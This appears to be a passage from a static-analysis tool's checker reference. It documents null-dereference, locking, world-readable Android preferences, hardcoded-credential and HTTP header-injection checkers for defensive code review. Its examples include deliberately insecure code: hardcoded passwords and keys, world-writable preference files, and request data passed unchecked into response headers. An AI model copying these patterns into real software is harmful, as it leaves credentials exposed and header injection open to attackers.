Enabled by default: EXPLICIT_THIS_EXPECTED is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more EXPLICIT_THIS_EXPECTED examples.
In JavaScript, the this keyword refers to the context at a function's call-site within a
call-stack, not to the lexical scope in source code. EXPLICIT_THIS_EXPECTED detects situations
in which a function with an unspecified (default or implicit) context calls another
function that uses the this keyword.
In the following example, the call to computeValue() in the obj.showValue() method relies on implicit binding when explicit binding is expected:
function example1() {
var obj = { value: 1 };
function computeValue() { return compute(this.value); }
obj.computeValue = computeValue;
obj.showValue = function() {
console.log( "Computed value: "
+ computeValue() ); // EXPLICIT_THIS_EXPECTED here!
// Should be `this.computeValue()`
};
obj.showValue();
}Likewise, in this example, the call to f() is missing explicit binding:
function example2() {
var obj = {
value: 2,
method_with_a_really_long_name: function(x) { do_something(this.value, x) }
};
// f is intended as a macro to shorten the code following it
var f = obj.method_with_a_really_long_name;
// But, f(0) is not the same as obj.method_with_a_really_long_name(0)
console.log( "The result is : " + f(0) ); // EXPLICIT_THIS_EXPECTED here
console.log( "The result is : " + f.call(obj, 0) ); // This works; explicit binding with `call()` method
}This section describes one or more events produced by the EXPLICIT_THIS_EXPECTED checker.
At the call site:
implicit_this_used - Call to function
<function> with implicit this argument
when explicit this is expected.
At the explicit this use in the callee:
explicit_this_parameter - Explicit use of
this.
EXPOSED_PREFERENCES
finds instances of calls to android.content.Context.getSharedPreferences
and android.app.Activity.getPreferences that do not use the
MODE_PRIVATE mode. Using a mode other than MODE_PRIVATE
may create a SharedPreferences object that is accessible to other
applications. Malicious applications could read from or write to this
SharedPreferences object.
Disabled by default: EXPOSED_PREFERENCES is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android security checker enablement: To enable EXPOSED_PREFERENCES
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
An EXPOSED_PREFERENCES defect shows a call to
android.content.Context.getSharedPreferences or
android.app.Activity.getPreferences that uses a mode other than
MODE_PRIVATE.
This section provides one or more EXPOSED_PREFERENCES examples.
public class SampleActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// defect: EXPOSED_PREFERENCES
SharedPreferences userDetails = getSharedPreferences("userdetails", MODE_WORLD_WRITEABLE);
// defect: EXPOSED_PREFERENCES
SharedPreferences preferences = getPreferences(MODE_WORLD_READABLE);
// ...
}
// ...
}Because the contents of the userdetails preference file is retrieved
using the MODE_WORLD_WRITEABLE mode, other applications have
write access to this file. A malicious application could write data to
this file.
Because the contents of the activity's preference file is retrieved using the
MODE_WORLD_READABLE mode, other applications have read
access to this file. A malicious application could read data from this file.
Coverity supports SpotBugs analyses through the
cov-analyze command. SpotBugs (historically known as FindBugs) is an
open source program for finding bugs (defects) in Java code. It provides a large group of
SpotBugs bug patterns that can detect a wide variety of defects. The SpotBugs Checker Reference
describes each of the SpotBugs bug patterns. (The descriptions come from the SpotBugs
documentation that is available from http://spotbugs.readthedocs.io/
.)
Note that the SpotBugs reference adds an FB. prefix to each bug pattern. This
prefix allows you to distinguish SpotBugs bugs from defects found by Coverity checkers. For
example, DM_EXIT in the SpotBugs documentation is the same as FB.DM_EXIT in the
reference.
Like other defects, SpotBugs bugs appear in the output of the
console that you use to run cov-analyze and among defects that you commit
to Coverity Connect through the cov-commit-defects command.
SpotBugs defects are not affected by Coverity annotations. For more information,
see http://spotbugs.readthedocs.io/
.
Enabled by Default: Quality-only SpotBugs checkers are enabled by default. To disable them, see Section 1.3.1, “Enabling and Disabling Checkers with cov-analyze”.
Many security-related checkers are disabled by default. To enable them, see
the Java SpotBugs options to cov-analyze in the
Coverity 2018.09 Command Reference.
Note that security-related Spotbugs checkers are also quality checkers. However, not all quality-related SpotBugs checkers are security checkers.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, and Visual Basic
FORWARD_NULL finds errors that can result in program termination
or a runtime exception. It finds many instances where a pointer or reference is checked
against null or assigned null and then later dereferenced. For
JavaScript, PHP, Python, and Ruby this checker finds many instances where a value is
checked against or assigned null or undefined and later used
as an object (that is, by accessing a property of it) or function (that is, by calling
it).
Enabled by default: FORWARD_NULL is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
Android (Java only): For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.
Dereferencing a null pointer leads to undefined behavior, which is usually a program crash. The C/C++ FORWARD_NULL checker reports three cases:
Checking against NULL and then dereferencing on a path on which it was null.
Assigning NULL and then taking a path on which the value has not changed.
Dereferencing the return value from dynamic_cast without
first checking it against NULL. If you know that the value will always be
non-null, then you can use static_cast to avoid a defect
report.
Dereferencing a null reference variable results in a runtime error, halting execution. Typically, this error is caused by checking for null and then not properly handling the condition, or not checking for null in a code path.
For C# and Visual Basic, the checker reports defects
that result from unchecked dereferences of the results of as and
TryCast expressions. The checker categorizes such expressions as
unchecked as and TryCast conversions.
For Java, dereferencing a null reference variable
results in a NullPointerException at runtime, halting
execution. Typically, this error is caused by checking for null and then not
properly handling the condition, or not checking for null in a code path.
Using a null or undefined value as an object (that is, by accessing any of its properties) or as a function (that is, by calling it) results in a runtime exception, which halts execution. The JavaScript FORWARD_NULL checker reports the following cases:
Accessing a property of a value or calling a value that was previously
compared to null or undefined.
Accessing a property of a value or calling a value that was previously
assigned null or undefined.
Accessing a property of a value or calling a value that is implicitly
initialized to undefined.
Calling an undefined function (or method), creating an instance of an undefined class, throwing a null value are all examples of fatal errors. Although accessing a null value is generally not a fatal error in PHP, FORWARD_NULL detects any use of null values in fatal error situations such as those.
In Python, using a null-like value in an expression will result in an exception, which halts execution.
A null-like value can be created explicitly by assigning None,
Ellipsis or NotImplemented, by assigning the return
value of a function that returns void, or by using a variable before it has been
assigned.
Uses that cause an exception include using the null-like value as an operand of a unary or binary operator, or using it as the base name of a property reference or function call.
In Ruby, the predefined constant objects nil, false, and
true have well-known and limited interfaces. Given one of these
objects, an attempt to invoke a method on it that lies outside of its well-known
interface is likely to result in a NameError or
NoMethodError exception.
Symbols known to refer to nil, false, or
true are tracked. When a method is invoked on such a symbol and the
name of the method is not one of the well-known method names, it is considered a
null dereference, and a defect is reported.
In Swift, this checker finds many cases in which an optional value is checked
against or assigned nil and then unwrapped, usually with some kind of
'!' operator or declaration.
handler?.handle(a) handler!.handle(b) // FORWARD_NULL
The first statement checks the handler for nil and skips the call if
it is nil. The second statement asserts that the handler is not
nil and executes a similar call. This inconsistency about whether
the handler is potentially nil is reported as a defect.
A FORWARD_NULL defect shows a path through which a null or undefined value is used in way that will crash or throw an exception at runtime. Which specific values are unsafe and which particular accesses trigger an exception or crash vary across languages. This checker only reports those combinations that cause a crash or exception.
There are several possible places for the path to start corresponding to different kinds of evidence that a value is null, undefined, or otherwise unsafe to use.
An explicit assignment of null to a variable.
Explicitly passing null to a function that might use it
unsafely.
A check that a value is not null, defined, or otherwise safe to use.
The implicit initialization of a local variable to an unsafe value.
The path ends with an unsafe use of the value: dereference, accessing a field or property, or calling it as a function.
This section provides one or more FORWARD_NULL examples.
In this example, p is first checked against NULL, then later dereferenced without checking against NULL again.
int forward_null_example1(int *p) {
int x;
if ( p == NULL ) {
x = 0;
} else {
x = *p;
}
x += fn();
*p = x; // Defect: p is potentially NULL
return 0;
}The following examples illustrate the effect of the checker option deref_zero_errors:boolean.
Here are two examples of an issue detected with -co
FORWARD_NULL:deref_zero_errors:true.
char *pDest;
void test1() {
memcpy(pDest, NULL, 10);
}char *pDest;
void foo(char *p) {
memcmp(pDest, p, 10);
}
void bar() {
foo(NULL);
}Finally, here is an example that shows no issue is detected with -co
FORWARD_NULL:deref_zero_errors:true but no dereference.
char *pDest;
void foo2(char *p) {
if (p) {
memcmp(pDest, p, 10);
}
}
void bar() {
foo2(NULL);
}In this example, o is first checked against null, then later dereferenced without checking against null again.
public class ForwardNull {
void Example(object o) {
if (o != null) {
}
// o will be null on the 'else' case of the if.
System.Console.WriteLine(o.ToString());
}
}In this example, o is first checked against Nothing, then later dereferenced without checking against Nothing again.
Imports System
Public Class ForwardNull
Private Sub Example(o As Object)
If o IsNot Nothing Then
End If
' o will be null on the 'Else' case of the If.
Console.WriteLine(o.ToString())
End Sub
End ClassIn this example, callA passes null to testA, which dereferences its argument. There is also a control, callB, that passes new Object() to testA, showing that no defect is reported.
public class ForwardNullExample {
public static Object callA() {
// This causes a FORWARD_NULL defect report
return testA(null);
}
public static Object callB() {
// No defect report
return testA(new Object());
}
public static String testA(Object o) {
return o.toString();
}
}In this example, p is first checked against null, then later dereferenced without checking against null again.
def example(p : AnyRef) {
if (p ne null) {
p.hashCode();
}
p.hashCode(); // Defect here.
}In example1, x is first checked against null, then dereferenced without checking against null again. In example2, name is conditionally assigned based on the value of pos, but is dereferenced later without checking it has been assigned.
function example1(x) {
if(x !== null) {
}
// x will be null on the 'else' case of the if.
x();
}
function example2(userInput) {
var name; // name is implicitly assigned to undefined
var pos = userInput.indexOf("name:");
if (pos >= 0) {
name = userInput.substring(pos + "name:".length);
}
// name will be undefined on the 'else' case of the if.
return name.substring(0,8);
}
In this example, fn is first checked against NULL, then later
invoked without checking against NULL again.
function forward_null_example1($fn, $arg) {
if ($fn != NULL) {
something();
}
// fn will be NULL on else branch of if
return $fn($arg); // Defect here.
} In this example, obj is first checked against NULL, then
later accesses a member without checking for NULL again. This won't
cause an error, but evaluated to null, which might not be what was
intended.
function forward_null_example2($obj, $arg) {
if ($obj != NULL) {
something();
}
// $obj will be NULL on else branch of if.
// $obj->method won't cause fatal error, but evaluates null.
return $obj->method($arg); // Defect here.
}In this example, obj is first checked against None, then later
accesses a member without checking against None again.
def forward_null_example(obj):
if (obj is not None):
something()
# obj will be NULL on else branch of if
return obj.foo # Defect here.
In this example, obj is first checked against None, then
later calls a method on obj without checking against None
again.
def forward_null_example2(obj):
if (obj is not None):
something()
# obj will be NULL on the else branch of if
return obj.method() # Defect here.In this example, obj is first checked against nil, then later calls a method on obj without checking against nil again. This example also shows that accessing response_to, a well-known member of the NilClass interface, does not report a defect.
def call_on_inferred_nil(x)
if not x
puts "x is nil or false on this path."
end
# On one of two paths reaching here, x is nil or false.
# Invoking 'respond_to?' on x is OK because it is
# part of the well-known NilClass interface.
return 'FAIL' if not x.respond_to? :is_a? # No defect here.
# But invoking 'call' causes a defect because it is not well-known.
x.call() # Defect here.
endThis section describes one or more FORWARD_NULL options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
FORWARD_NULL:aggressive_derefs:<boolean> - When this
option is true, the checker identifies paths from null values to uses of these
values that cannot tolerate null values with less certainty than it does by
default. See also, the very_aggressive_derefs checker option.
Defaults to
FORWARD_NULL:aggressive_derefs:false (all
languages).
This checker option is automatically set to
true if the --aggressiveness-level option of
the analysis command is set to medium.
FORWARD_NULL:aggressive_null_sources:<boolean> - When
this option is true, the checker identifies null sources with less certainty
than it does by default. Defaults to
FORWARD_NULL:aggressive_null_sources:false
(all languages).
FORWARD_NULL:assume_write_to_addr_of:<boolean> - When
this option is true, the checker stops tracking a pointer when its address is
taken as an argument. Defaults to
FORWARD_NULL:assume_write_to_addr_of:false
for C, C++, C#, Visual Basic, Objective-C, and
Objective-C++ only.
FORWARD_NULL:as_conversion:<boolean> - When this
option is true, the checker reports defects when null is returned from the
as operator. (This C# and Visual Basic-only option is
equivalent to the dynamic_cast option for C, C++, Objective-C, and
Objective-C++.) Defaults to
FORWARD_NULL:as_conversion:false for C# and Visual Basic only.
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
FORWARD_NULL:deref_zero_errors:<boolean> - When this
option is set to true, the checker reports defects if a literal null or
undefined value is used unsafely. When it is false, the checker ignores these
issues, treating them as intentional. Defaults to
FORWARD_NULL:deref_zero_errors:false for C, C++,
JavaScript, Objective-C, and Objective-C++. Defaults to
FORWARD_NULL:deref_zero_errors:true for C#, Visual
Basic, Java, Scala, and Swift only.
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
FORWARD_NULL:dynamic_cast:<boolean> - When this C++
option is true, the checker reports defects when null is returned from a dynamic
cast and subsequently dereferenced without checking. Defaults to FORWARD_NULL:dynamic_cast:true (Not
for Scala)
To disable this option, specify --checker-option
FORWARD_NULL:dynamic_cast:false for C++ only (when running the analysis).
FORWARD_NULL:fields_from_new:<boolean> - When this
option is true, the checker reports null dereferences on fields that are
assigned null (implicitly or explicitly) in a constructor called by
using new. Defaults to
FORWARD_NULL:fields_from_new:false for C++, Java, C#,
and Visual Basic only.
Java Example:
class Wrapper {
Object mObj;
}
void fieldsFromNew() {
new Wrapper().mObj.toString(); // FORWARD_NULL reported with option
}FORWARD_NULL:track_macro_nulls:<boolean> - When this
option is true, the checker reports defects where the assignment to or check
against null is in a macro. By default, the checker ignores explicit null
assignments occurring in a macro because these often happen as a result of
conditions that are true for some macro invocations but not all. Defaults to
FORWARD_NULL:track_macro_nulls:false for
C, and C++ only.
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
The following example can be detected:
#define VERIFY(truism) ((truism)? true : false)
void example(void)
{
int *p = GetInt();
if (!VERIFY(p != NULL))
{
}
*p = 0;
}FORWARD_NULL:very_aggressive_derefs:<boolean> - When
this option is true, the checker identifies paths from null values to uses of
these values that cannot tolerate null values with significantly less certainty
than it does by default. See also, the aggressive_derefs
checker option. Defaults to
FORWARD_NULL:very_aggressive_derefs:false
(all languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
This section describes one or more events produced by the FORWARD_NULL checker.
Supported Languages: C# and Java
GUARDED_BY_VIOLATION finds many instances of fields that are updated without locks, causing potential race conditions which can lead to unpredictable or incorrect program behavior.
GUARDED_BY_VIOLATION infers guarded-by-relationships to track when fields are updated with
known locks. A field f is guarded-by field g if concurrent
accesses to f require g as a held lock. A defect is reported
if the checker infers that the lock guards the field at least 70% of the time, or if
there are only three total accesses of a field with two accesses guarded, in which case
the field is inferred to be guarded. When there are in
total only two accesses of a field, and only one of them is guarded, use
--checker-option=LOCK_FINDER:report_one_out_of_two to report a
defect for the unguarded access.
In Coverity Connect, the unguarded access event is displayed on the page
that contains examples of guarded field accesses. You can click the file names to see
the events in-line with the code. In some circumstances, for instance, if the source for
the example guarded field access is not available, a
guarded_access_in_bytecode event is displayed.
This checker does not report defects in the following methods:
Constructors.
Static initializers.
C#-specific: The ToString, GetHashCode, and
Equals methods.
Java-specific: The clone, toString,
hashCode, and equals methods.
Methods that do not have source code, such as in library classes.
Enabled by default: GUARDED_BY_VIOLATION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more GUARDED_BY_VIOLATION examples.
In the following example, myLock guards myData. A defect
is reported in UnsafeAccess() if the checker infers that
myLock guards myData.
using System;
public class GuardedByViolation
{
private int myData;
private Object myLock;
public void InferGuardedByRelationship()
{
lock(myLock) {
myData++;
myData--;
myData *= myData;
myData /= myData;
// ...
}
}
public void UnsafeAccess()
{
myData ^= myData;
}
}In the following example, GuardedByViolationExample.lock guards
count. A defect is reported in decrement()
if the checker infers that GuardedByViolationExample.lock guards
count.
public class GuardedByViolationExample {
int count;
Object lock;
public void increment() {
synchronized(lock) { // example_lock event
count++; // example_access event
}
}
public void times_two() {
synchronized(lock) { // example_lock event
count *= 2; // example_access event
}
}
public void square() {
synchronized(lock) { // example_lock event
count *= count; // example_access event
}
}
public void decrement() {
count--; // Defect: missing_lock
}
}This section describes one or more GUARDED_BY_VIOLATION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
GUARDED_BY_VIOLATION:lock_inference_threshold:<percentage>
- This C# and Java option specifies the minimum
percentage of accesses to a global variable or field of a struct that must be
protected by a particular lock for the checker to determine that the variable or
field should always be protected by that lock. Variable v is
treated as protected by lock l if the proportion of the number
accesses of v with l compared to the total number of
accesses of v is greater than or equal to the percentage you set. If
the percentage is set to 50 when two out of four accesses of v
occur with l, the checker will issue a defect. If set to 75, such a
scenario would not produce a defect report. Defaults
to GUARDED_BY_VIOLATION:lock_inference_threshold:70 (for
C# and Java).
--checker-option GUARDED_BY_VIOLATION:lock_inference_threshold:50
GUARDED_BY_VIOLATION:lock_finder:report_one_out_of_two -
When there are a total of two accesses of a field, and only one of them is
guarded, use this option to report a defect for the unguarded access.
For Java, GUARDED_BY_VIOLATION checker recognizes the following annotation:
@GuardedBy
You can use the GuardedBy annotation to specify a field's lock. Put the
annotation on the line above the field declaration. The lock name is a combination of
the class name and lock name:
@GuardedBy("<LockName>")For example, the following annotation indicates that count has a
guarded-by relationship with GuardedByViolationExample2_Annotation.lock and
a defect will be reported whenever the checker finds a count field that is
accessed without that lock.
import com.coverity.annotations.GuardedBy;
public class GuardedByViolationExample2_Annotation {
@GuardedBy("GuardedByViolationExample2_Annotation.lock")
int count;
Object lock;
public void increment() {
count++; /* Defect: missing_lock with
no example of guarded access */
}
}See Section 6.3.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc documentation at <install_dir>/doc/<en|ja>/annotations/index.html
for more information.
This section describes one or more events produced by the GUARDED_BY_VIOLATION checker.
access_alias - Assignment of a variable to another
variable.
example_access - An example field is accessed with a
lock.
example_lock - An example lock is acquired.
lock - [C# only] Calls to
System.Threading.Monitor.Enter(). C#-specific event.
java_lock - [Java only] Calls to
java.util.concurrent.locks lock(). Java-specific event.
unlock - [C# only] Calls to
System.Threading.Monitor.Exit(). C#-specific event.
java_unlock - [Java only] Calls to
java.util.concurrent.locks unlock(). Java-specific
event.
missing_lock - A field is accessed without a lock
guard.
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++, JavaScript, PHP, Python, Swift, Visual Basic
HARDCODED_CREDENTIALS searches for passwords, cryptographic keys, and security tokens that are stored directly in source code (hardcoded). Users with access to such source code can then use these credentials to access production data or services. Changing these credentials requires changing the code and redeploying the application.
Disabled by default: HARDCODED_CREDENTIALS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
For Swift, HARDCODED_CREDENTIALS is enabled by default.
Android security checker enablement: To enable HARDCODED_CREDENTIALS
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Web application security checker enablement: To enable HARDCODED_CREDENTIALS
along with other Web application checkers,
use the --webapp-security
option.
Python support: Security checkers are supported for Python 2.7.x only.
A HARDCODED_CREDENTIALS defect describes how a hardcoded value defined in the source code is used as a security credential. The defect path first shows the definition of the hardcoded credential that uses, for example, a constant string. From there, the events in the defect show how this hardcoded value flows through the program, for example, from the argument of a function call to the parameter of the called function. Finally, the main event of the defect shows how this hardcoded value is ultimately used as a password, cryptographic key or security token.
The following example uses a hardcoded string as a logon password. The checker
reports a hardcoded_credential_passwd defect for this code.
void test() {
char password[] = "ABCD1234!";
HANDLE pHandle;
LogonUserA("User", "Domain", password, 3, 0, &pHandle);
// HARDCODED_CREDENTIALS defect
}using System;
public class HardcodedCredential {
void Test(string username, string domain) {
string hard_coded = "test";
System.Net.NetworkCredential obj =
new System.Net.NetworkCredential(username, hard_coded, domain);
// Defect.
}
}/* Example of a hardcoded password. Users with access
* to this code can also access this database.
*/
import java.sql.*;
Connection getCon(String url) throws SQLException {
return DriverManager.getConnection(url,
/*username*/ "leroy",
/*password*/ "jenkins");
}/* Example of a hardcoded cryptographic key. */
String secret = "It's a secret to everybody.";
javax.crypto.spec.SecretKeySpec keyspec =
new javax.crypto.spec.SecretKeySpec(secret.getBytes("UTF-8"), "AES");/* Example of a hardcoded security token. */
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
new UsernamePasswordAuthenticationToken("Druidia", "12345");The following code uses a hardcoded password to create an instance of class
Cipher to encrypt data. Anyone with access to this
source code can decrypt such data using the hardcoded password. Changing the
hardcoded password would require redeploying the code.
function unsafe_encrypt(data) {
var crypto = require('crypto');
var algorithm = 'aes192';
var password = "ABCD1234!";
var cipher = crypto.createCipher(algorithm, password);
var cipher_text = cipher.update(data, 'utf8', 'base64');
cipher_text += cipher.final('base64');
return cipher_text;
}The following example uses a hardcoded password as a shared web credential.
private func initAdmin(completion: ((CFError?) -> Void)? = nil) {
let domain: NSString = "synopsys.com"
let user: NSString = "admin"
let password: NSString = "p4ssw0rd"
// Bug: the password is hardcoded in the source code
SecAddSharedWebCredential(domain, user, password) { error in
completion?(error)
}
}The following code opens a new connection to a MySQL server and uses a hardcoded string for the connection password. The checker reports a HARDCODED_CREDENTIALS defect.
<?php
$link = mysqli_connect("127.0.0.1", "my_user", "my_password", "my_db"); // HARDCODED_CREDENTIALS defect
?>The following Python code hard-codes an admin password.
from werkzeug.security import generate_password_hash, check_password_hash
admin_pass = "CHANGE_ME_SECRET_ADMIN_PASS"
def admin_login():
if request.method == 'POST':
uname = request.form['username']
passwd = request.form['password']
if(uname == 'admin'):
return check_password_hash(generate_password_hash(passwd),admin_pass)This section describes one or more HARDCODED_CREDENTIALS options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
HARDCODED_CREDENTIALS:report_empty_credentials:<boolean> -
This option determines whether to report a
hardcoded credential that is an empty string. For example, empty passwords are
sometimes used in test code, local databases, or other places where it can be
benign. While setting this option to true can make the analysis find more true
defects, it might also produce more false positives. Defaults to HARDCODED_CREDENTIALS:report_empty_credentials:false
(all languages).
The analysis reports a defect on a constant string or byte array that flows into one of the primitives. The difference among the sinks is the subcategory in which the defect is reported and the event message at the final call.
The following primitives are available for C/C++ analyses with HARDCODED_CREDENTIALS:
__coverity_hardcoded_credential_passwd_sink__(void *)
__coverity_hardcoded_credential_crypto_sink__(void *)
__coverity_hardcoded_credential_token_sink__(void *)
This example uses __coverity_hardcoded_credential_passwd_sink__ to
model a function that uses data as a password:
void authenticate(char *data) {
__coverity_hardcoded_credential_passwd_sink__(data);
} Given the model above, passing a hardcoded string into the data parameter of this
function results in a HARDCODED_CREDENTIALS hardcoded_credential_passwd
defect report, as shown in the following example.
void test() {
char data[] = "ABCD1234!";
authenticate(data);
// HARDCODED_CREDENTIALS hardcoded_credential_passwd defect
}The following primitives mark their parameters as used as a password, cryptographic key, or security token, respectively.
Coverity.Primitives.Security.HardcodedPasswordSink() Coverity.Primitives.Security.HardcodedCryptographicKeySink() Coverity.Primitives.Security.HardcodedSecurityTokenSink()
To generate a model from the following source code, you need to run
cov-make-library on it.
// User model
using Coverity.Primitives;
class MyClass {
public void usePassword(String password) {
Security.HardcodedPasswordSink(password);
}
}The checker uses the resulting model file to find a defect in the following source code.
// Code under analysis
void login(MyClass x) {
x.usePassword("12345"); //HARDCODED_CREDENTIALS defect
}See the Security.HardcodedConnectionStringSink(Object) primitive in
Section 6.2.1.3, “C# and Visual Basic Primitives”.
The following methods are model primitives that mark their parameters as used as a password, cryptographic key, or security token, respectively.
com.coverity.primitives.SecurityPrimitives .hardcoded_credential_passwd_sink(Object password) .hardcoded_credential_crypto_sink(Object key) .hardcoded_credential_token_sink(Object token)
To generate a model from the following source code, you need to run
cov-make-library on it.
// User model
import com.coverity.primitives.SecurityPrimitives;
class MyClass {
public void usePassword(String password) {
SecurityPrimitives.hardcoded_credential_passwd_sink(password);
}
}The checker uses the resulting model file to find a defect in the following source code.
// Code under analysis
void login(MyClass x) {
x.usePassword("12345"); //Defect.
}You can help the HARDCODED_CREDENTIALS checker find more defects in JavaScript
code by using the sink_for_checker directive to specify additional function
arguments that take passwords, security tokens, or cryptographic keys. We call such
function arguments sinks for HARDCODED_CREDENTIALS. HARDCODED_CREDENTIALS reports a
defect when a constant string flows into a sink.
The following JSON file specifies a sink_for_checker directive for
HARDCODED_CREDENTIALS. It tells the checker to treat the first argument of the
function usePassword (of any object) as a sink for
HARDCODED_CREDENTIALS. Please refer to sink_for_checker directive for
more details on this directive.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "javascript",
"directives" : [
{
sink_for_checker: "HARDCODED_CREDENTIALS",
sink: {
"input": "arg1",
"to_callsite": {
"call_on": {
"read_off_any" : [
{ "property" : "usePassword" }
]
}
}
}
},
]
}If you pass the directive file above to cov-analyze, HARDCODED_CREDENTIALS reports a defect in the following source code.
function login(x) {
x.usePassword("12345");
}Supported Languages: C#, Java, JavaScript, and PHP
HEADER_INJECTION finds header injection vulnerabilities, which arise from using uncontrolled dynamic data in an HTTP header name. This security vulnerability might allow an attacker to set or overwrite important header values.
The impact of this issue varies based on the following factors:
Whether the attacker controls the entire HTTP header name.
Whether the attacker also controls the associated HTTP header value.
Header injection in HTTP responses can allow for more insidious attacks, such as cross-site scripting (XSS) or open redirects.
Disabled by default: HEADER_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable HEADER_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
A HEADER_INJECTION defect shows a dataflow path by which untrusted (tainted) data makes its way into an HTTP header element. The severity of the attack depends on the kind of the HTTP header that can be polluted. The path starts at a source of untrusted data, such as a reading of some part of the header of an HTTP request message. From there, the events in the defect show how this tainted data flows through the program and eventually ends up in a function that sets up the header of an HTTP response message. The HTTP message is then sent to a victim.
This section provides one or more HEADER_INJECTION examples.
The following injection allows an attacker to set important HTTP headers (such as
set-cookie, X-Frame-Options, and so on) to disable
some security mechanism, or, for example, to fix the session ID.
var resp = System.Web.HttpContext.Current.Response;
var req = System.Web.HttpContext.Current.Request;
// ...
resp.AddHeader(req.Params["header_name"),
req.Params["header_value"]);The following injection allows an attacker to set important HTTP headers (such as
set-cookie, X-Frame-Options, and so on) to disable
some security mechanism, or, for example, to fix the session ID.
HttpServletRequest req;
HttpServletResponse resp;
// ...
resp.addHeader(req.getParameter("header_name"),
req.getParameter("header_value"),);In the following example, the attacker does not have as much control, but it is
nevertheless possible to disable the UI redressing protection (through
X-Frame-Options).
resp.setHeader("X-Frame-Options", "SAMEORIGIN");
// ...
String n = req.getParameter("http_name");
String v = req.getParameter("http_value");
resp.setHeader("X-" + n, v);function req(url, value, elem) {
var req = new XMLHttpRequest();
req.open('GET', url, true);
var h = location.hash.substring(1); // Tainted data
if (h) {
req.setRequestHeader(h, value); // Setting header with tainted data
}
req.send(null);
req.onreadystatechange = function () {
if (req.readyState == 4 && req.status == 200) {
elem.childNodes[0].textContent = req.responseText;
}
}
}This section describes one or more HEADER_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
HEADER_INJECTION:distrust_all:<boolean> - [JavaScript
and PHP only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
HEADER_INJECTION:distrust_all:false.
This checker option is automatically set to true if the
HEADER_INJECTION:webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
HEADER_INJECTION:trust_command_line:<boolean> -
[JavaScript and PHP only] Setting this option to
false causes the analysis to treat command line arguments as tainted.
Defaults to
HEADER_INJECTION:trust_command_line:true. Setting this
checker option will override the global --trust-command-line and
--distrust-command-line command line options.
HEADER_INJECTION:trust_console:<boolean> - [JavaScript
and PHP only] Setting this option to false causes
the analysis to treat data from the console as tainted. Defaults to
HEADER_INJECTION:trust_console:true. Setting
this checker option will override the global --trust-console and
--distrust-console command line options.
HEADER_INJECTION:trust_cookie:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from HTTP cookies as tainted. Defaults to
HEADER_INJECTION:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie command line options.
HEADER_INJECTION:trust_database:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from a database as tainted. Defaults to
HEADER_INJECTION:trust_database:true. Setting
this checker option will override the global --trust-database and
--distrust-database command line options.
HEADER_INJECTION:trust_environment:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from environment variables as tainted. Defaults to HEADER_INJECTION:trust_environment:true
. Setting this checker option will override the global
--trust-environment and --distrust-environment
command line options.
HEADER_INJECTION:trust_filesystem:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from the filesystem as tainted. Defaults
to HEADER_INJECTION:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem and
--distrust-filesystem command line options.
HEADER_INJECTION:trust_http:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from HTTP requests as tainted. Defaults to
HEADER_INJECTION:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
HEADER_INJECTION:trust_http_header:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from HTTP headers as tainted. Defaults to
HEADER_INJECTION:trust_http_header:true. Setting
this checker option will override the global --trust-http-header
and --distrust-http-header command line options.
HEADER_INJECTION:trust_js_client_cookie:<boolean> - [JavaScript only]
When this option is set to false, the analysis does not trust data from cookies
in client-side JavaScript code, for example from document.cookie.
This option was formerly called trust_client_cookie. Defaults to
HEADER_INJECTION:trust_js_client_cookie:true.
HEADER_INJECTION:trust_js_client_external:<boolean> - [JavaScript only]
When this option is set to false, the
analysis does not trust data from the response to an XMLHttpRequest or
similar in client-side JavaScript code. Note: this option was formerly
called trust_external. Defaults to
HEADER_INJECTION:trust_js_client_external:false.
HEADER_INJECTION:trust_js_client_html_element:<boolean> - [JavaScript only]
When this option is set to false, the analysis
does not trust data from user input on HTML elements such as
textarea and input elements in client-side
JavaScript code. Defaults to
HEADER_INJECTION:trust_js_client_external:true.
HEADER_INJECTION:trust_js_client_http_header:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not trust data from HTTP
response headers on the response to an XMLHttpRequest or similar in
client-side JavaScript code. Defaults to
HEADER_INJECTION:trust_js_client_http_header:true.
